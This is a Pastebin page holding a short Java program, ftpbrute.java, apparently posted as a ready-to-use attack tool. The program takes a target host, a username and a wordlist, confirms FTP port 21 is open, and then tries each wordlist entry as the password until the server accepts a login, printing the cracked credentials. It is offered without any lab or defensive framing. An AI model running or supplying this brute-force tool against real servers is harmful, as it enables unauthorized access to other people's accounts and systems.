Advertisement
The_Defalt

ftpbrute.java

Sep 24th, 2016
426
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 2.82 KB | None | 0 0
  1. import java.net.Socket;
  2. import java.net.InetSocketAddress;
  3. import java.io.InputStreamReader;
  4. import java.io.FileReader;
  5. import java.io.BufferedReader;
  6. import java.io.PrintWriter;
  7. import java.util.ArrayList;
  8.  
  9. public class ftpbrute {
  10.     public static boolean checkHost(String host) {
  11.         try {
  12.             System.out.print("checking host... ");
  13.             Socket checkSock = new Socket();
  14.             checkSock.connect(new InetSocketAddress(host, 21), 1000);
  15.             checkSock.close();
  16.             System.out.println("success");
  17.             return true;
  18.         } catch (Exception e) {
  19.             return false;
  20.         }
  21.     }
  22.  
  23.     public static ArrayList<String> getWordlist(String path) {
  24.         System.out.print("reading wordlist... ");
  25.         try {
  26.             BufferedReader buffRead = new BufferedReader(new FileReader(path));
  27.             String line = null;
  28.             ArrayList<String> wordlist = new ArrayList<String>();
  29.             while ((line = buffRead.readLine()) != null) {
  30.                                 wordlist.add(line);
  31.                         }
  32.             buffRead.close();
  33.             System.out.println("done");
  34.             return wordlist;
  35.         } catch (Exception e) {
  36.             System.out.println("fail");
  37.             System.exit(1);
  38.         }
  39.         return new ArrayList<String>();
  40.     }
  41.  
  42.     public static boolean crackPass(String host, String user, String pass) {
  43.         try {
  44.             Socket crackSock = new Socket(host, 21);
  45.             BufferedReader inStream = new BufferedReader(new InputStreamReader(crackSock.getInputStream()));
  46.             PrintWriter outStream = new PrintWriter(crackSock.getOutputStream());
  47.             inStream.readLine();
  48.             outStream.write(String.format("USER %s\n", user));
  49.             outStream.flush();
  50.             while (!inStream.ready()) {
  51.                 continue;
  52.             }
  53.             inStream.readLine();
  54.             outStream.write(String.format("PASS %s\n", pass));
  55.             outStream.flush();
  56.             while (!inStream.ready()) {
  57.                 continue; //wait for BufferedReader to be ready
  58.             }
  59.             String data = inStream.readLine();
  60.             inStream.close();
  61.             outStream.close();
  62.             crackSock.close();
  63.             if (data.contains("230")) {
  64.                 return true;
  65.             } else {
  66.                 return false;
  67.             }
  68.         } catch (Exception e) {
  69.             System.out.println("an error occured");
  70.             System.exit(1);
  71.         }
  72.         return false;
  73.     }
  74.  
  75.     public static void main(String[] args) {
  76.         if (args.length != 3) {
  77.             System.out.println("usage: ./ftpbrute[TARGET] [USERNAME] [WORDLIST]");
  78.             System.exit(1);
  79.         }
  80.         ArrayList<String> wordlist = getWordlist(args[2]);
  81.         String rhost = args[0];
  82.         checkHost(rhost);
  83.         String user = args[1];
  84.         System.out.println(String.format("cracking FTP pass for \"%s\" at %s...\n", user, rhost));     
  85.         for (int i=0; i < wordlist.size(); i++) {
  86.             if (crackPass(rhost, user, wordlist.get(i))) {
  87.                 System.out.println("creds found:");
  88.                 System.out.println(String.format("\tuser: %s", user));
  89.                 System.out.println(String.format("\tpass: %s", wordlist.get(i)));
  90.                 System.exit(0);
  91.             }
  92.         }
  93.         System.out.println("bruteforce failed");
  94.     }
  95. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement